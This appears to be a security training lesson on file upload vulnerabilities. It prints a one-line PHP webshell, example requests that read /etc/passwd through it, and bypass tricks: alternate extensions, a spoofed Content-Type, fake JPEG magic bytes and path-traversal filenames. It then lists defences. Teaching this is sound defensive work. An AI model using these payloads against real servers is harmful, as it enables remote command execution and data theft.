Day 5

File Upload Vulnerabilities — Uploading Code to Execute

File upload functionality is one of the most dangerous features a web application can have if implemented incorrectly. An attacker who can upload arbitrary files may be able to upload a webshell — a file containing server-side code — and execute operating system commands on the server.

DEFINITION	Webshell: A script file (PHP, ASP, JSP, etc.) uploaded to a web server that, when accessed via the browser, executes system commands and returns the output to the attacker.

5.1 Why File Uploads Are Dangerous

If an attacker can upload a PHP file to a directory that is served by a web server, they can access it via the browser and the server will execute it as code — giving the attacker full control.

A Minimal PHP Webshell

```
<?php system($_GET['cmd']); ?>
```

After uploading this file as shell.php, the attacker visits:

```
https://target.com/uploads/shell.php?cmd=whoami
Response: www-data
```

```
https://target.com/uploads/shell.php?cmd=cat /etc/passwd
https://target.com/uploads/shell.php?cmd=cat /flag.txt
```

5.2 Common Upload Validations and How to Bypass Them

Client-Side Validation (Easiest to Bypass)

Some applications only validate file type in JavaScript. This can be bypassed by disabling JavaScript or intercepting and modifying the request with Burp Suite.

Extension Blacklist Bypass

If the server blocks .php, try these variants:

```
.php3    .php4    .php5    .php7
.phtml   .phar    .shtml
.PHP     .Php     .pHp     (case variations)
```

Double Extension

```
shell.php.jpg   (server may strip the last extension)
shell.jpg.php   (server may take the first extension)
```

MIME Type Spoofing

Change the Content-Type header in Burp Suite from application/x-php to image/jpeg. Many servers only check this header, not the actual file content.

```
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg        <-- changed from application/x-php
```

Magic Bytes

Some servers check the file's magic bytes (the first few bytes that identify the file type). Prepend a valid JPEG header to your PHP payload:

```
FF D8 FF E0 [valid JPEG magic bytes] <?php system($_GET['cmd']); ?>
```

5.3 Path Traversal in Upload

If the upload destination is controllable, try to upload files outside the intended directory:

```
filename: ../../shell.php
filename: ../../../var/www/html/shell.php
```

5.4 After Upload — Finding and Accessing the File

After a successful upload, you need to find where the file was saved:

- Check the server's response — it may return the file URL
- Common upload directories: /uploads/, /files/, /media/, /images/
- Check the page source for the image/file link after upload
- Use Gobuster to discover the uploads directory if unknown

5.5 Prevention

Defence	Implementation
Whitelist extensions	Only allow specific extensions like jpg, png, pdf — deny everything else
Store outside web root	Save files where the web server cannot execute them
Rename on upload	Use a random UUID as the filename — prevent known path access
Check file content	Validate magic bytes and actual file structure, not just extension
Disable execution	Configure the upload directory with no-execute permissions